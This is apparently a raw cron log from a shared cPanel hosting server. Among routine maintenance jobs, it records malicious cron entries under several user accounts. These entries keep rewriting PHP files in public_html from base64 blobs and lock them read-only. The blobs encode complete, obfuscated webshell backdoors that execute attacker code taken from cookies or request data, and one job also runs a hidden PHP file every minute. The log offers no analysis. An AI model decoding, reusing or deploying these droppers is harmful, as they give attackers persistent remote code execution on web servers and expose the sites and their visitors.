Mar  2 08:19:02 medusa CROND[14411]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:19:02 medusa CROND[14412]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:19:02 medusa CROND[14414]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:19:02 medusa CROND[14415]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:19:02 medusa CROND[14416]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:20:01 medusa CROND[872]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 08:20:02 medusa CROND[1160]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 08:20:02 medusa CROND[1442]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:20:02 medusa CROND[1443]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 08:20:02 medusa CROND[1444]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 08:20:02 medusa CROND[1445]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:20:02 medusa CROND[1447]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 08:20:02 medusa CROND[1449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:20:02 medusa CROND[1450]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 08:20:02 medusa CROND[1451]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 08:20:02 medusa CROND[1452]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 08:20:02 medusa CROND[1454]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 08:20:02 medusa CROND[1456]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:20:02 medusa CROND[1466]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 08:20:02 medusa CROND[1476]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 08:20:02 medusa CROND[1487]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:20:02 medusa CROND[1489]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:20:02 medusa CROND[1496]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 08:20:02 medusa CROND[1493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:20:02 medusa CROND[1497]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 08:20:02 medusa CROND[1498]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:20:02 medusa CROND[1499]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 08:20:02 medusa CROND[1501]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:20:02 medusa CROND[1502]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:20:02 medusa CROND[1503]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:20:02 medusa CROND[1488]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 08:20:02 medusa CROND[1507]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:20:02 medusa CROND[1504]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 08:20:02 medusa CROND[1486]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 08:20:02 medusa CROND[1483]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 08:21:01 medusa CROND[18752]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:21:02 medusa CROND[19033]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 08:21:02 medusa CROND[19034]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 08:21:02 medusa CROND[19035]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:21:02 medusa CROND[19040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:21:02 medusa CROND[19043]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:21:02 medusa CROND[19044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:21:02 medusa CROND[19045]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:21:02 medusa CROND[19042]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:21:02 medusa CROND[19050]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
